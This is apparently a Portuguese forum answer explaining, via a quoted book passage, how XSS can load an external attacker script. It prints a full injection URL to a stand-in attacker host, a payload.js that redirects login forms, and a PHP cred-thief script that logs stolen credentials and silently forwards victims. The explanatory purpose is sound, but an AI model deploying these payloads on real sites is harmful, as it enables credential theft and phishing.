Recentemente um cliente foi vítima de ataques XSS. Tratamos todos os inputs que encontramos com falhas, porém não consigo entender como foi inserido código JavaScript malicioso nos ficheiros ".js" no servidor.
Como é que alteraram o script via XSS?
As informações abaixo foram retiradas do livro Hacking: A Próxima Geração.
Injeção de Conteúdo utilizando Cross-Site Scripting (XSS)
Entulhar toda a carga de XSS em uma cadeia de comandos pode ser confuso e complicado. Na maioria das vezes, o atacante terá que executar uma carga complicada para maximizar o impacto do ataque XSS. Em tais situações, o atacante pode usar arquivos externos JavaScript para abrigar as cargas de exploração. Ele faz isso através da injeção de uma instrução script com um atributo src. O atributo src permite que o invasor especifique um arquivo JavaScript externo a ser executado no contexto do domínio que hospeda o aplicativo da Web que é vulnerável a XSS. Quando a injeção de um script com um atributo src em um código XSS é inserida, os atacantes costumam armazenar o arquivo JavaScript externo em um servidor web que eles controlam. Uma injeção típica de um arquivo de script externo usando XSS seria algo parecido com isto:
http://vulnerable-server.com/login.jsp?parameter="><script%20src="http://attacker-server.com/payload.js"></script>
Quando uma referência a um script externo é injetada, o atacante tem a opção de armazenar toda a carga de código de exploração no arquivo de script externo (neste caso, o arquivo em http://attacker-server.com/payload.js
). Neste exemplo, o atacante usa o arquivo JavaScript externo para armazenar o código de exploração que varre os objetos form
da página de login e altera form action
para que as credenciais do usuário sejam transferidas para o servidor web do atacante. O código a seguir mostra o conteúdo do arquivo JavaScript externo payload.js
:
for (i = 0; i < document.forms.length; i++)
{
var originalaction = document.forms[i].action;
document.forms[i].action =
"http://attacker-server.com/cred-thief.php?orig=" + originalaction;
}
Essa carga de código JavaScript
enumera todos os objetos FORM
, grava o atributo FORM ACTION
original e altera o atributo ACTION
para apontar para o servidor web do atacante. Quando a vítima envia um formulário utilizando o botão "Entrar" na página de login que é vulnerável a XSS, seu nome de usuário e senha são passados para o arquivo cred-thief.php
no servidor web do atacante. Uma vez que servidor web do atacante recebe as credenciais da vítima, ele redireciona a vítima de volta para a página de login original e automaticamente conecta a vítima no aplicativo, mascarando o fato de que o seu nome de usuário e uma senha foram roubados. Veja o código de cred-thief.php
:
<?php
// Is the orig parameter present?
if (isset($_GET['orig'])):
// open the file for storing the stolen creds
$fp = fopen("StolenCreds.txt", 'a');
fwrite($fp, $_GET['orig']);
// Create the initial HTML for the FORM with the
// original URL for the ACTION
echo "<html><body><form name='redirect' id='redirect'";
echo " action='" . $_GET['orig'] . "' method='POST'>";
// Loop through all the POST parameters stolen from the
// original site and generate the correct form
// elements and log the value to a text file
foreach ($_POST as $var => $value) {
echo "<input type='hidden' name='" . $var ."' value='" . $value ."'>";
fwrite($fp,"var:".$var." value:".$value."\r\n");
}
//complete the form and autosubmit the form using javascript
echo "</form><script>document.redirect.submit()</script></body></html>";
else:
//If orig is missing, redirect to back to the referring site
header( 'Location: '. $HTTP_REFERER);
endif;
fclose($fp);
?>
As vulnerabilidades XSS em páginas de login podem ser devastadoras. Por exemplo, se um site bancário tem uma exposição XSS em qualquer local do seu domínio, um phisher sofisticado será capaz de usar a vulnerabilidade XSS para tirar vantagem do SSL (incluindo o Extended Validation SSL) e de filtros de phishing. Tais páginas de phishing vão exibir todos os certificados SSL legítimos e são indetectáveis por filtros de phishing, ainda que eles contenham código de phishing. Ao usar um ataque XSS, como o mostrado anteriormente, o potencial phisher pode roubar as credenciais fornecidas para sites bancários, contornando todos os mecanismos atuais de proteção contra phishing.
Espero que este texto esclareça alguns procedimentos. Para mais informações recomendo ler todo o capítulo 2 do livro.